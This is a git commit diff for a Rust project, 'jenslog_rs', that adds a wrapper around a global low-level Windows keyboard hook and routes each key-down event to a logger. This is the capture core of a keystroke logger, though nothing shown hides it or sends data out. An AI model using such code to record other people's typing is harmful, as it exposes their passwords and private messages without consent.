add some abstraction to windows api calls

This commit is contained in:
LordMZTE 2020-09-01 16:31:07 +02:00
parent ee15231a47
commit 4bbde71e8e
4 changed files with 56 additions and 20 deletions

40
src/key/Keyhook.rs Normal file
View file

@ -0,0 +1,40 @@
#![macro_use]
use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW};
use std::ptr::null_mut;
#[macro_export]
//im suprised this works.
macro_rules! hookproc {
($i:expr) => {{
use std::option::Option::Some;
use winapi::um::winuser::PKBDLLHOOKSTRUCT;
unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize {
$i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT));
0
}
Some(hookproc)
}}
}
pub struct Keyhook {
pub callback: HOOKPROC,
}
impl Keyhook {
/// use `hookproc` macro here to get callback from closure
pub fn new(callback: HOOKPROC) -> Self {
Self {
callback,
}
}
pub fn start(&self) {
unsafe {
SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
}

View file

@ -1 +1,2 @@
pub mod keystate; pub mod keystate;
pub mod keyhook;

View file

@ -24,7 +24,7 @@ fn get_flag(val: u32, flag: u32) -> bool {
///true if exactly 1 bit of the given number is set ///true if exactly 1 bit of the given number is set
fn has_one_bit_set(n: u32) -> bool { fn has_one_bit_set(n: u32) -> bool {
//Dont ask me why this works! its mathgic! //Dont ask me why this works! its mathgic!
n > 0 && !(n & (n - 1) > 0) n > 0 && n & (n - 1) == 0
} }
#[cfg(test)] #[cfg(test)]

View file

@ -1,13 +1,13 @@
#[macro_use(hookproc)]
extern crate jenslog_rs;
#[macro_use] #[macro_use]
extern crate lazy_static; extern crate lazy_static;
use std::env::args; use std::env::args;
use std::ptr::null_mut;
use std::sync::Mutex; use std::sync::Mutex;
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA}; use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
use jenslog_rs::key::keyhook::Keyhook;
use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}};
lazy_static! { lazy_static! {
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new()); static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
@ -15,18 +15,13 @@ lazy_static! {
} }
fn main() { fn main() {
unsafe { let hook = Keyhook::new(hookproc!(|_, _, key| {
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
unsafe extern "system" fn hook_callback(_code: i32, _w_param: usize, l_param: isize) -> isize {
let mut state = KEYSTATE.lock().unwrap(); let mut state = KEYSTATE.lock().unwrap();
let key = *(l_param as PKBDLLHOOKSTRUCT);
state.update(key); state.update(key);
//Check if keydown and not aux key //Check if keydown and not aux key
if state.is_down() || state.is_aux_key() { return 0; } if state.is_down() && !state.is_aux_key() {
LOGGER.log(&state); LOGGER.log(&state);
0 }
}));
hook.start();
} }